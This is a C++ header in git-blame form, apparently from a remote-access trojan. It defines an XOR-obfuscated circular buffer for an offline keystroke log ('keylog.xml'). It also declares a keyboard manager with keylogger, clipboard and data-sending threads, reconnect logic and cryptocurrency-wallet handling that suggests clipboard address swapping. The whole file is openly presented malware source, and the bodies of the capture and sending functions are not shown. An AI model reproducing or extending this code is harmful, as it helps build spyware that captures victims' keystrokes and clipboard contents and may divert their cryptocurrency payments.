2026-01-02 20:00:18 +01:00
|
|
|
|
// KeyboardManager.h: interface for the CKeyboardManager class.
|
2025-01-31 22:22:16 +08:00
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#pragma once
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#include "Manager.h"
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
|
|
|
|
|
|
#define KEYLOG_FILE "keylog.xml"
|
|
|
|
|
|
|
|
|
|
|
|
#if ENABLE_KEYBOARD==0
|
|
|
|
|
|
#define CKeyboardManager1 CManager
|
|
|
|
|
|
|
|
|
|
|
|
#else
|
|
|
|
|
|
|
|
|
|
|
|
#define BUFFER_SIZE 10*1024*1024
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 循环缓存
|
2025-10-15 04:32:59 +08:00
|
|
|
|
class CircularBuffer
|
|
|
|
|
|
{
|
2025-06-26 02:07:00 +08:00
|
|
|
|
private:
|
2026-01-02 20:00:18 +01:00
|
|
|
|
char* m_buffer; // 缓冲区
|
|
|
|
|
|
int m_size; // 缓冲区大小
|
|
|
|
|
|
int m_write; // 写指针
|
|
|
|
|
|
int m_read; // 读指针
|
|
|
|
|
|
CRITICAL_SECTION m_cs; // 线程同步
|
|
|
|
|
|
char m_key; // 用于 XOR 加解密的密钥
|
2025-06-26 02:07:00 +08:00
|
|
|
|
|
|
|
|
|
|
public:
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 构造函数:从文件加载数据
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`')
|
|
|
|
|
|
: m_size(size), m_write(0), m_read(0), m_key(key)
|
|
|
|
|
|
{
|
|
|
|
|
|
m_buffer = new char[m_size]();
|
|
|
|
|
|
InitializeCriticalSection(&m_cs);
|
|
|
|
|
|
LoadDataFromFile(filename);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 析构函数:清理资源
|
2025-10-15 04:32:59 +08:00
|
|
|
|
~CircularBuffer()
|
|
|
|
|
|
{
|
|
|
|
|
|
DeleteCriticalSection(&m_cs);
|
|
|
|
|
|
delete[] m_buffer;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 清空缓存
|
2025-10-15 04:32:59 +08:00
|
|
|
|
void Clear()
|
|
|
|
|
|
{
|
|
|
|
|
|
EnterCriticalSection(&m_cs);
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 重置读写指针
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_write = 0;
|
|
|
|
|
|
m_read = 0;
|
|
|
|
|
|
memset(m_buffer, 0, m_size);
|
|
|
|
|
|
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 加密/解密操作(XOR)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
void XORData(char* data, int length)
|
|
|
|
|
|
{
|
|
|
|
|
|
for (int i = 0; i < length; i++) {
|
2026-01-02 20:00:18 +01:00
|
|
|
|
data[i] ^= m_key; // 用密钥进行 XOR 操作
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 从文件加载数据到缓冲区
|
2025-10-15 04:32:59 +08:00
|
|
|
|
bool LoadDataFromFile(const std::string& filename)
|
|
|
|
|
|
{
|
|
|
|
|
|
EnterCriticalSection(&m_cs);
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 打开文件
|
2025-10-15 04:32:59 +08:00
|
|
|
|
HANDLE hFile = CreateFileA(
|
2026-01-02 20:00:18 +01:00
|
|
|
|
filename.c_str(), // 文件路径
|
|
|
|
|
|
GENERIC_READ, // 只读权限
|
|
|
|
|
|
0, // 不共享
|
|
|
|
|
|
NULL, // 默认安全属性
|
|
|
|
|
|
OPEN_EXISTING, // 文件必须存在
|
|
|
|
|
|
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
|
|
|
|
|
|
NULL // 不需要模板文件
|
2025-10-15 04:32:59 +08:00
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
|
|
|
|
|
Mprintf("Failed to open file '%s' for reading\n", filename.c_str());
|
|
|
|
|
|
return false;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 读取文件数据
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD bytesRead = 0;
|
|
|
|
|
|
while (m_write < m_size) {
|
|
|
|
|
|
if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) {
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
2026-01-02 20:00:18 +01:00
|
|
|
|
XORData(m_buffer + m_write, bytesRead); // 解密数据
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_write = (m_write + bytesRead) % m_size;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 关闭文件句柄
|
2025-12-26 15:57:27 +01:00
|
|
|
|
SAFE_CLOSE_HANDLE(hFile);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
|
|
|
|
|
return true;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 写入数据(如果缓冲区满了,从头部覆盖写入)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int Write(const char* data, int length)
|
|
|
|
|
|
{
|
|
|
|
|
|
EnterCriticalSection(&m_cs);
|
|
|
|
|
|
|
|
|
|
|
|
for (int i = 0; i < length; i++) {
|
|
|
|
|
|
m_buffer[m_write] = data[i];
|
|
|
|
|
|
m_write = (m_write + 1) % m_size;
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 当写指针追上读指针时,前移读指针实现覆盖写入
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (m_write == m_read) {
|
|
|
|
|
|
m_read = (m_read + 1) % m_size;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
2026-01-02 20:00:18 +01:00
|
|
|
|
return length; // 返回实际写入的字节数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 从指定位置开始读取数据
|
2025-10-15 04:32:59 +08:00
|
|
|
|
char* Read(int &pos, int &bytesRead)
|
|
|
|
|
|
{
|
|
|
|
|
|
EnterCriticalSection(&m_cs);
|
|
|
|
|
|
|
|
|
|
|
|
if (pos == 0) {
|
|
|
|
|
|
m_read = m_write + 1;
|
|
|
|
|
|
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
|
|
|
|
|
if (m_read == m_size) m_read = 0;
|
|
|
|
|
|
} else {
|
|
|
|
|
|
m_read = pos;
|
|
|
|
|
|
}
|
|
|
|
|
|
int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
|
|
|
|
|
char* outBuffer = size ? new char[size] : NULL;
|
|
|
|
|
|
for (int i = 0; i < size; i++) {
|
2026-01-02 20:00:18 +01:00
|
|
|
|
if (m_read == m_write) { // 缓冲区为空
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
outBuffer[i] = m_buffer[m_read];
|
|
|
|
|
|
m_read = (m_read + 1) % m_size;
|
|
|
|
|
|
bytesRead++;
|
|
|
|
|
|
}
|
|
|
|
|
|
pos = m_write;
|
|
|
|
|
|
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
2026-01-02 20:00:18 +01:00
|
|
|
|
return outBuffer; // 返回实际读取的字节数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 将缓存中所有数据写入文件(加密)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
bool WriteAvailableDataToFile(const std::string& filename)
|
|
|
|
|
|
{
|
|
|
|
|
|
EnterCriticalSection(&m_cs);
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 获取所有数据的大小
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_read = m_write + 1;
|
|
|
|
|
|
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
|
|
|
|
|
if (m_read == m_size) m_read = 0;
|
|
|
|
|
|
int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
|
|
|
|
|
|
|
|
|
|
|
if (totalSize == 0) {
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
2026-01-02 20:00:18 +01:00
|
|
|
|
return true; // 没有数据可写入
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 打开文件以进行写入
|
2025-10-15 04:32:59 +08:00
|
|
|
|
HANDLE hFile = CreateFileA(
|
2026-01-02 20:00:18 +01:00
|
|
|
|
filename.c_str(), // 文件路径
|
|
|
|
|
|
GENERIC_WRITE, // 写权限
|
|
|
|
|
|
0, // 不共享
|
|
|
|
|
|
NULL, // 默认安全属性
|
|
|
|
|
|
CREATE_ALWAYS, // 如果文件存在则覆盖
|
|
|
|
|
|
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
|
|
|
|
|
|
NULL // 不需要模板文件
|
2025-10-15 04:32:59 +08:00
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
2026-01-02 20:00:18 +01:00
|
|
|
|
return false; // 打开文件失败
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 写入缓冲区中的所有数据
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int bytesWritten = 0;
|
|
|
|
|
|
DWORD bytesToWrite = totalSize;
|
|
|
|
|
|
const int size = 64*1024;
|
|
|
|
|
|
char *buffer = new char[size];
|
|
|
|
|
|
while (bytesWritten < totalSize) {
|
|
|
|
|
|
DWORD bufferSize = min(bytesToWrite, size);
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 填充缓冲区
|
2025-10-15 04:32:59 +08:00
|
|
|
|
for (int i = 0; i < bufferSize && m_read != m_write; ) {
|
|
|
|
|
|
buffer[i++] = m_buffer[m_read];
|
|
|
|
|
|
m_read = (m_read + 1) % m_size;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 加密数据
|
2025-10-15 04:32:59 +08:00
|
|
|
|
XORData(buffer, bufferSize);
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 写入文件
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD bytesActuallyWritten = 0;
|
|
|
|
|
|
if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
|
2025-12-26 15:57:27 +01:00
|
|
|
|
SAFE_CLOSE_HANDLE(hFile);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
LeaveCriticalSection(&m_cs);
|
|
|
|
|
|
delete[] buffer;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
return false; // 写入失败
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
bytesWritten += bytesActuallyWritten;
|
|
|
|
|
|
bytesToWrite -= bytesActuallyWritten;
|
|
|
|
|
|
}
|
|
|
|
|
|
delete[] buffer;
|
|
|
|
|
|
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 关闭文件句柄
|
2025-12-26 15:57:27 +01:00
|
|
|
|
SAFE_CLOSE_HANDLE(hFile);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
LeaveCriticalSection(&m_cs);
|
|
|
|
|
|
|
|
|
|
|
|
return true;
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
};
|
2025-01-31 22:22:16 +08:00
|
|
|
|
|
|
|
|
|
|
class CKeyboardManager1 : public CManager
|
|
|
|
|
|
{
|
|
|
|
|
|
public:
|
2025-06-26 02:07:00 +08:00
|
|
|
|
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
virtual ~CKeyboardManager1();
|
2025-06-26 02:07:00 +08:00
|
|
|
|
virtual void Notify();
|
2025-11-09 00:49:34 +08:00
|
|
|
|
virtual void UpdateWallet(const std::string& wallet);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
static DWORD WINAPI Clipboard(LPVOID lparam);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
|
|
|
|
|
static DWORD WINAPI SendData(LPVOID lparam);
|
2025-06-26 02:07:00 +08:00
|
|
|
|
BOOL m_bIsOfflineRecord;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
HANDLE m_hClipboard;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
HANDLE m_hWorkThread,m_hSendThread;
|
|
|
|
|
|
TCHAR m_strRecordFile[MAX_PATH];
|
2025-12-15 23:09:56 +01:00
|
|
|
|
virtual BOOL Reconnect()
|
|
|
|
|
|
{
|
|
|
|
|
|
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
|
|
|
|
|
}
|
2025-01-31 22:22:16 +08:00
|
|
|
|
private:
|
|
|
|
|
|
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
|
|
|
|
|
int sendStartKeyBoard();
|
2025-06-26 02:07:00 +08:00
|
|
|
|
|
2025-01-31 22:22:16 +08:00
|
|
|
|
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
|
|
|
|
|
|
|
|
|
|
|
bool m_bIsWorking;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CircularBuffer *m_Buffer;
|
|
|
|
|
|
CLocker m_mu;
|
|
|
|
|
|
std::vector<std::string> m_Wallet;
|
|
|
|
|
|
std::vector<std::string> GetWallet();
|
2025-01-31 22:22:16 +08:00
|
|
|
|
};
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#undef BUFFER_SIZE
|
|
|
|
|
|
|
|
|
|
|
|
#endif
|